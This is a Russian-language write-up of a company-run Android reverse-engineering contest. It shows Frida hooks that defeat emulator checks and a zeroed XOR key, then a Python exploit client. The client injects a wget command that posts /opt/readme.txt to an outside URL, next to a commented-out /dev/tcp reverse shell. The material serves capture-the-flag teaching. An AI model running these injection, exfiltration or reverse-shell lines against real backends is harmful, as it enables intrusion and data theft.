
Привет! Меня зовут Илья Сафронов, я руковожу направлением информационной безопасности Delivery Club. Третьего дня мы запустили конкурс по реверсу и поиску уязвимости в тестовом Android-приложении. Целью было выполнение кода на бэкенде (RCE). За время конкурса APK скачали более 400 раз, а сломали всего два раза, Hall of Fame можно посмотреть на странице скачивания.
Теперь настало время рассказать, в чём заключалась задача и как её решать. Один из победителей — @D3fl4t3 — прислал нам отличный отчёт, его мы и представляем вашему вниманию.
Первичный осмотр
Перед нами Android-приложение. При запуске в эмуляторе предлагается нажать на кнопку, но при нажатии приложение вылетает. Внутри Java-части приложения тоже ничего интересного: кнопка вызывает нативный метод collectMetrics и в зависимости от возвращаемого значения выводит одно из двух сообщений.
Нативная библиотека
Библиотека хорошо обфусцирована техниками Control Flow Flattening, Opaque Predicate и многими другими. Идём в JNI_OnLoad, сразу проставляем тип JNIEnv* везде, где есть indirect call'ы. Из интересного там есть только RegisterNatives, поэтому идём сразу в collectMetrics. Очевидно, что там должны быть проверки на эмулятор, но где же они?
Ищем проверки окружения

Да, определённо это какие-то проверки на эмулятор. Так как из кода ничего не понятно, а писать деобфускатор пока что не хочется, набрасываем первый вариант скрипта для DBI-фреймворка Frida:
var hooked = false; Java.perform(function() { let MainActivity_a = Java.use("com.example.dc_challenge.MainActivity$a"); MainActivity_a.onClick.implementation = function (view) { if (!hooked) { disarmBuildChecks(); hooked = true; } this.onClick(view); } }); function disarmBuildChecks() { var config = { BOARD: "prada", BOOTLOADER: "unknown", BRAND: "Xiaomi", DEVICE: "prada", DISPLAY: "MMB29M", FINGERPRINT: "Xiaomi/prada/prada:6.0.1/MMB29M/v8.0.3.0.0.MCECNDG:user/release-keys", HARDWARE: "qcom", HOST: "c3-miui-ota-bd20", ID: "MMB29M", MANUFACTURER: "Xiaomi", MODEL: "Redmi 4", PRODUCT: "prada", RADIO: "unknown", SERIAL: "17fc681d", TAGS: "release-keys", TIME: 1476359370000, TYPE: "user", USER: "builder", }; var Build = Java.use('android.os.Build'); Object.keys(config).map(function (key) { Build[key].value = config[key]; }); }
Пробуем нажать кнопку под фридой — и снова падение. Определённо, проверками build-параметров приложение не ограничивается. Копаем дальше.
В списке импортов ну очень много разных функций, и наиболее интересными видятся функции работы со строками. Возможно, какие-то из них используются для проверок окружения.

Пишем вспомогательную функцию для быстрой трассировки функций работы со строками:
function hook(name, count) { Interceptor.attach(Module.findExportByName(«libc.so», name), { onEnter: function(args) { let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); let arg = []; for (var i = 0; i < count; i++){ try { arg.push(Memory.readCString(args[i])); } catch (e) {} } if (bt.moduleName.indexOf(«libchallenge.so») !== -1) { console.log(name + '(»' + arg.join('», «') + '») ' + bt); } } }); }
И трейсим всё, что нашли в импортах:
function makeHooks() { hook(«strcmp», 2); hook(«strncmp», 2); hook(«strncpy», 2); hook(«strcat», 2); hook(«strchr», 1); hook(«strcspn», 2); hook(«strcpy», 2); hook(«strlen», 1); hook(«strcasecmp», 2); hook(«snprintf», 8); hook(«strdup», 1); hook(«strncasecmp», 2); hook(«strrchr», 1); hook(«strspn», 2); hook(«strstr», 2); hook(«strtol», 1); hook(«strtoul», 1); }
Функция sprintf, судя по всему, используется для форматирования пути к файлам в папке /proc/self/fd:
snprintf("", "/proc/self/fd/%s", ".", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 snprintf("", "/proc/self/fd/%s", "..", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 snprintf("", "/proc/self/fd/%s", "0", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 snprintf("", "/proc/self/fd/%s", "1", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 snprintf("", "/proc/self/fd/%s", "2", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
Могут ли эти файлы компрометировать наш эмулятор? Давайте посмотрим:
generic_x86_64:/ # ls -la /proc/$(pidof com.example.dc_challenge)/fd total 0 dr-x------ 2 u0_a130 u0_a130 0 2021-10-16 16:59 . dr-xr-xr-x 9 u0_a130 u0_a130 0 2021-10-16 16:59 .. lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 0 -> /dev/null lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 1 -> /dev/null lr-x------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 10 -> /apex/com.android.art/javalib/bouncycastle.jar ... lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 62 -> /dev/goldfish_pipe lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 63 -> /dev/goldfish_sync lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 65 -> /dev/goldfish_pipe
Определённо, файлы с названием "goldfish" относятся к эмулятору, так что нативная библиотека может находить их и крашить приложение. Возиться с хуком snprintf не очень хочется, поэтому сходим на адрес 0x96ee5 в IDA Pro и посмотрим, что ещё можно хукнуть.

Функция lstat выглядит отличным кандидатом на хук:
function disarmGoldfishCheck() { Interceptor.attach(Module.findExportByName(«libc.so», «lstat»), { onEnter: function (args) { let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); if (bt.moduleName.indexOf(«libchallenge.so») !== -1) { let filename = Memory.readCString(args[0]); console.log(«lstat(» + filename + «)»); if (filename.indexOf(»/proc/self/fd») !== -1) { args[0].writeU8(0); } } } }); }
После этого всё наконец-то стало работать, и кнопка при нажатии говорит, что мы всё делаем правильно.

Протокол
В описании задания явно подразумевается, что есть некий бэкенд, с которым общается приложение. Огромное количество функций из OpenSSL намекает, что это происходит также в нативной библиотеке. Просматривая имена один за одним, мой взгляд упал на SSL_write. Исходя из названия, эта функция позволяет что-то писать по TLS, при этом она используется в какой-то функции 0x92a70 (все адреса приведены для архитектуры x86_64). Эта функция делает совсем немного работы, суть которой ясна даже с обфусцированным Control Flow: она подключается к серверу, отправляет payload по TLS и отключается.

Дальше делаем всё то же самое, что и всегда: пишем хук и смотрим, как эта функция вызывается.
function toHexString(addr, length) { let result = ''; for (var i = 0; i < length; i++) { result += ('0' + (addr.add(i).readU8() & 0xFF).toString(16)).slice(-2); } return result; } function makeTlsHook() { Interceptor.attach(Module.findBaseAddress(«libchallenge.so»).add(0x92a70), { onEnter: function(args) { console.log(toHexString(args[0], uint64(args[1].toString()))); } }) }
Можно использовать встроенный hexdump, но будет проблематично потом перегонять его вывод в Python.
Вывод, уже частично раздекоженный Python’ом:
b'TRYHRDER\n\x00\xa3\x00\x00\x00\x00\x00\xe2;+^\xea;;^\x82;&^\x87;%^\x89;&^\xb2;%^\xb4;+^\xbc;+^\xa4;%^\xae;(^U;7^I;+^S<H?\xd2;#^\xb1TNp\xb7CB3\xa2WFp\xb6X|=\xbaZO2\xb7UD;\xa2IB:\xb3cJ?\xbdVJ.\xa0ZG?\x9fval\xebvq;\xb6VJ\xe7\rq;\xb6VJ\xe7\r[f\xe4d\x15j\xb6ZW;\xf2\x19\x08{\x9c\x19#3.\xaais\x1e\xa9mu\xef\x01\x9f\xdd^g\xa3\x156\xd2\x03\xdc\xd5PB^\xd2;#\xd2;#^'
Хотелось, конечно, сразу увидеть читаемый текст, однако в протоколе используется шифрование, поэтому следующим шагом нам нужно будет его расковырять.
Шифрование
Во-первых, возьмём сразу несколько payload’ов и сравним их между собой. Сразу становится понятно, что незашифрованный заголовок занимает первые 16 байт сообщения.
Во-вторых, если применить метод пристального взгляда, в шифротексте вырисовываются паттерны:
54525948524445520a00a30000000000 # заголовок (16 байт) e23b2b5e ea3b3b5e 823b265e 873b255e 893b265e b23b255e b43b2b5e bc3b2b5e a43b255e ae3b285e 553b375e 493b2b5e 533c483fd23b235eb1544e70b7434233a2574670b6587c3dba5a4f32b755443ba249423ab3634a3fbd564a2ea05a473f9f76616ceb76713bb6564a7ee70d713bb6564a7ee70d5b66e464156ab65a573bf219087b9c1923332eaa69731ea96d75ef019fdd5e67a31536d203dcd550425ed23b23d23b235e
Интуиция подсказывает, что в протоколе есть 32-битные поля в little endian, которые XORятся каким-то неприлично маленьким ключом размером не более 4 байт (последние «5e» в каждой строке — это старшие байты незначительно отличающихся друг от друга чисел).
На этом моменте, в принципе, можно было уже подобрать ключ просто по шифротексту, однако я вспомнил, что в collectMetrics используется функция arc4random_buf, которая, скорее всего, и генерирует этот 4-байтный случайный ключ. Наверное, вы уже догадываетесь, к чему всё идёт.
function randHook() { Interceptor.attach(Module.findExportByName(«libc.so», «arc4random_buf»), { onEnter: function (args) { this.buf = args[0]; let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); if (bt.moduleName.indexOf(«libchallenge.so») !== -1) { console.log(«arc4random_buf « + args[0] + « « + args[1] + « « + bt) } }, onLeave: function (ret) { let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); if (bt.moduleName.indexOf(«libchallenge.so») !== -1) { this.buf.writeU32(0); } } }); }
Так как ключ нулевой, шифротекст теперь совпадает с открытым текстом и читать его намного приятнее:
b'TRYHRDER\n\x00\xa1\x00\x00\x00\x00\x000\x00\x08\x008\x00\x18\x00P\x00\x05\x00U\x00\x06\x00[\x00\x05\x00`\x00\x06\x00f\x00\x07\x00m\x00\x07\x00t\x00\x06\x00z\x00\x0b\x00\x85\x00\x14\x00\x99\x00\x08\x00i\xd3ja\x00\x00\x00\x00com.example.dc_challengepradaXiaomipradaMMB29MRedmi 4Redmi 4x86_64date "+%N"\x00m\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\\x80K\xe4\xe9 j\xd3ja\x00\x00\x00\x00\x00\x00\x00\x00'
Что мы имеем в итоге:
16-байтный заголовок.
12 пар чисел типа short, содержащих смещения и длины хранимых строк.
Сами строки без разделителей.
Пишем свой клиент
В результате многочисленных экспериментов я выяснил, что передаётся в сообщении:
Имя пакета приложения.
Некоторые поля из
android.os.Build.Архитектура.
Строка date
"+%N»\\x00.Какое-то статичное 20-байтное значение, скорее всего, хеш сертификата для проверки, было ли приложение пропатчено и перепаковано.
Время начала и конца формирования сообщения (в формате Unix Timestamp с точностью до секунд).
Дальше всё проще некуда: заменяем строку с "date" на wget --post-data "$(cat /opt/readme.txt)" ... и получаем флаг.
#!/usr/bin/env python3 import struct, ssl, socket, time def xor(a, b): return bytes([x^y for x, y in zip(bytearray(a), bytearray(b))]) def dump_buffer(buffer): print(buffer[:16]) key = buffer[-4:] buffer = buffer[:16] + xor(buffer[16:], key * 1000) numbers = [] for i in range(16, 64, 4): numbers.append((struct.unpack('<H', buffer[i:i+2]) [0], struct.unpack('<H', buffer[i+2:i+4]) [0])) for addr, length in numbers: print(buffer[16+addr:16+addr+length]) print(buffer[64:]) def make_buffer(): data = [ struct.pack("<Q",int(time.time())), b'com.example.dc_challenge', b'prada', b'Xiaomi', b'prada', b'MMB29M', b'Redmi 56', b'Redmi 56', b'x86_64', b'wget --post-data «$(cat /opt/readme.txt)» https://putsreq.com/H9bjgvqaXTSEuBiJLYA5', #b'/bin/bash -i >& /dev/tcp/130.61.246.58/1337 0>&1', b'm\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\x80K\xe4\xe9 ', struct.pack("<Q", int (time.time ( )) + 1 ] body = bytearray() offset = 0 for piece in data: body += struct.pack("<H", len (data) * 4 + offset) body += struct.pack("<H", len (piece)) offset += len (piece) for piece in data: body += piece header = b"TRYHRDER\n\x00" + struct.pack("<H", len(body)) + b "\x00\x00\x00\x00" key = b'\x00\x00\x00\x00' return header + xor(body, key * 1000) + key def do_ssl(buffer): context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((«146.185.209.143», 7821)) as sock: with context.wrap_socket(sock, server_hostname="146.185.209.143") as ssock: print(ssock.version()) ssock.send(buffer) buffer = make_buffer() dump_buffer(buffer) do_ssl(buffer)
Вывод
По результатам конкурса мы увидели, что подобные задачи вызывают интерес. Сложность именно этой была выше среднего, в следующий раз мы это учтём и пересмотрим формат, чтобы он был ближе большему числу людей. И ещё добавим новых призов. Чтобы не пропустить наши новые посты, подписывайтесь на блог. А за то, что вы такие молодцы и дочитали до конца, закажите себе кофе навынос через приложение Delivery Club.
